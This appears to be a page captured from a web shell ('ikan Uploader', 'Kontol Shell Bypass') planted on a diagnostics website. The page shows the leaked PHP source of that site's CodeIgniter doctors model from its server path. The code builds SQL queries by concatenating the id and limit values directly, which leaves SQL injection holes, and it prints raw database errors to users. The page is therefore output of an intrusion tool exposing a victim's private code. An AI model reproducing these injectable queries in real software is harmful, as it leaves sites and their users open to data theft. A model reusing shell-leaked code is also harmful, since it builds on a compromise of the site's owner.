ikan Uploader :
Directory : /var/www/html/shardadiagnostics.in/application/modules/admin/models/
Upload File : |
| Current File : /var/www/html/shardadiagnostics.in/application/modules/admin/models/Doctors_model.php |
<?php
class Doctors_model extends CI_Model
{
public function __construct()
{
parent::__construct();
}
public function categoriesCount()
{
return $this->db->count_all_results('shop_categories');
}
/*
* Function getDoctors
*/
public function getDoctors($limit = null, $start = null)
{
$limit_sql = '';
if ($limit !== null && $start !== null) {
$limit_sql = ' LIMIT ' . $start . ',' . $limit;
}
$query = $this->db->query('SELECT * FROM doctors WHERE is_deleted = "0" ORDER BY id desc ' . $limit_sql);
//$arr = array();
/*foreach ($query->result() as $tests_categorie) {
$arr[$tests_categorie->for_id]['info'][] = array(
'name' => $tests_categorie->name,
'designation' => $tests_categorie->designation
'department' => $tests_categorie->department,
'image' => $tests_categorie->image
);
}*/
return $query->result();
}
/* delete doctor*/
public function deleteItem($table,$id)
{
$this->db->trans_begin();
$this->db->where('id', $id);
if (!$this->db->delete($table)) {
log_message('error', print_r($this->db->error(), true));
}
if ($this->db->trans_status() === FALSE) {
$this->db->trans_rollback();
show_error(lang('database_error'));
} else {
$this->db->trans_commit();
}
}
public function addeditDoctor($params ,$id=0 ){
$id=$params['id'];
if($id > 0){
if(!$params['image']){
$params['image']=$params['old_image'];
unset($params['old_image']);
}
else {
unset($params['old_image']);
}
if(!$this->db->where('id', $id)->update('doctors', $params
)){
print_r($this->db->error());die;
log_message('error', print_r($this->db->error(), true));
}
}
else {
unset($params['id']);
unset($params['old_image']);
if(!$this->db->insert('doctors', $params)){
print_r($this->db->error());die;
log_message('error', print_r($this->db->error(), true));
}
}
}
public function getOneDoctor($id)
{
//echo 'SELECT * FROM doctors WHERE id = '.$id.'';die('test');
if(!$query = $this->db->query('SELECT * FROM `doctors` WHERE id = '.$id.''))
{
print_r($this->db->error());die;
log_message('error', print_r($this->db->error(), true));
}
return $query->row_array();
}
public function editShopCategoriePosition($post)
{
$this->db->where('id', $post['editid']);
if (!$this->db->update('shop_categories', array(
'position' => $post['new_pos']
))) {
log_message('error', print_r($this->db->error(), true));
show_error(lang('database_error'));
}
}
}
Kontol Shell Bypass